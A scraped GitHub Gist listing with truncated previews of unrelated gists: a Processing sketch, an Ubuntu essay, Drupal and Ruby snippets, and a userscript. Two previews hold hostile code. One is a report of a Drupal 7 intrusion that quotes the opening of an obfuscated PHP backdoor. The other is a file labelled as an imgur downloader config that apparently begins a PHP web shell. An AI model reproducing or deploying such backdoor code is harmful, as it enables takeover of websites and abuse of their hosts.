Skip to content

Instantly share code, notes, and snippets.

View kenorb's full-sized avatar
💭
The Consciousness Has Shifted...The Awakening Has Begun

Rafal W. kenorb

💭
The Consciousness Has Shifted...The Awakening Has Begun
View GitHub Profile
@Strae
Strae / stats7.php
Created October 31, 2014 09:25
Drupal 7 attack october 2014
My host just blocked one of my drupal7 websistes for being use for massive spam.
Analyzing my access log, i found two script being called often and there are not a Drupal scripts:
/sites/all/modules/i18n/i18n_block/stats7.php
/modules/file/bs63d8.php
/sites/all/modules/i18n/i18n_block/stats7.php:
<?php
$vNWZ3B7 = Array('1'=>'6', '0'=>'e', '3'=>'8', '2'=>'L', '5'=>'v', '4'=>'M', '7'=>'2', '6'=>'s', '9'=>'r', '8'=>'q', 'A'=>'l', 'C'=>'Y', 'B'=>'S', 'E'=>'K', 'D'=>'n', 'G'=>'T', 'F'=>'C', 'I'=>'y', 'H'=>'t', 'K'=>'G', 'J'=>'9', 'M'=>'k', 'L'=>'w', 'O'=>'H', 'N'=>'x', 'Q'=>'m', 'P'=>'E', 'S'=>'j', 'R'=>'O', 'U'=>'7', 'T'=>'4', 'W'=>'X', 'V'=>'D', 'Y'=>'d', 'X'=>'Z', 'Z'=>'I', 'a'=>'z', 'c'=>'R', 'b'=>'0', 'e'=>'B', 'd'=>'N', 'g'=>'h', 'f'=>'P', 'i'=>'o', 'h'=>'W', 'k'=>'c', 'j'=>'3', 'm'=>'A', 'l'=>'a', 'o'=>'f', 'n'=>'p', 'q'=>'F', 'p'=>'b', 's'=>'5', 'r'=>'g', 'u'=>'J', 't'=>'u', 'w'=>'U', 'v'=>'V', 'y'=>'Q', 'x'=>'1', 'z'=>'i');
function v5T7ETO($vQF6A3S, $vP8XOME){$v8YITRE = ''; for($i=0; $i < strlen($vQF6A
@stared
stared / python_dla_biologow.ipynb
Last active September 4, 2015 19:12
Python dla biologów i IPython Notebook (SKNN UW, 3 marca 2015)
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@stared
stared / README.md
Last active September 25, 2015 16:33
An Internet Archive Wayback Machine Ad
@kenorb
kenorb / example.conf
Created November 12, 2012 00:05
A script for downloading entire imgur albums
<UNORDEREDALBUMS> - <ALBUM1> <ALBUM2>
<ORDEREDALBUMS> | <ALBUM3> <ALBUM4> <ALBUM5>
?><?php
/**
* @author Ikram ALI
* @copyright 2012
*/
@define('VERSION','1.0');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
anonymous
anonymous / gist:8327328
Created January 9, 2014 00:27
gif code!!!!!
int samplesPerFrame = 32;
int numFrames = 42;
float shutterAngle = .8;
int[][] result;
float time;
float d1, d2, th, pp = .7, t, tt;
int N = 10, M = 9;
@allquixotic
allquixotic / Ubuntu.md
Created December 21, 2015 16:10
My Ubuntu Experience

Intro

I have been using some flavor of GNU/Linux (which excludes Android) since about 2002. The first distro I ever installed was Lindows, and while I often used Lindows as my "main" distro because it was so easy to use, I was very much a distro shopper in my early years. I'd find a spare USB hard drive or flash drive and throw Gentoo or Debian or openSUSE or Fedora on it. It wasn't until the release of Ubuntu 8.04, Hardy Heron, that I finally settled on a "preferred" distro: Ubuntu. And, unlike its commercial open source relative, Linspire, Ubuntu didn't run out of money and stop development. So that was a big plus.

Also unlike its other more distant relative, Fedora, Ubuntu had a more predictable release schedule, and longer support for each release. This meant I could feel free to use a crusty old installation on a dedicated server and be confident that I'd continue to receive critical security updates for years to come. And that's exactly what I did: starting around 2006, I have had either a dedicated

@insparrow
insparrow / base_module.php
Created April 10, 2013 16:35
Deleting / removing a field from a content type stored in a feature
<?php
/**
* Remove a shared field from a content type.
*/
function custom_module_update_7027() {
// Fetch instance info.
$entity_type = drush_field_get_entity_from_bundle('custom_content_type');
$instance = field_info_instance($entity_type, 'field_to_remove', 'custom_content_type');
@tmm1
tmm1 / debug.rb
Created October 14, 2009 06:48
debug a process using strace/gdb
# collect information about a running process
# ruby debug.rb <pid>
begin
raise ArgumentError unless pid = ARGV[0]
pid = pid.to_i
raise ArgumentError unless pid > 0
Process.kill(0,pid)
rescue TypeError, ArgumentError
raise 'pid required'
@ComFreek
ComFreek / so-list.user.js
Last active July 30, 2016 15:44
Additional list toolbar button for StackOverflow editor windows (note: as an answer to the following question: http://softwarerecs.stackexchange.com/q/2833/583)
// ==UserScript==
// @name StackOverflow List Button
// @description Additional list toolbar button for StackOverflow editor windows
// @version 1.0
//
// @match *://stackoverflow.com/*
// @match *://meta.stackoverflow.com/*
// @match *://pt.stackoverflow.com/*
//
// @match *://serverfault.com/*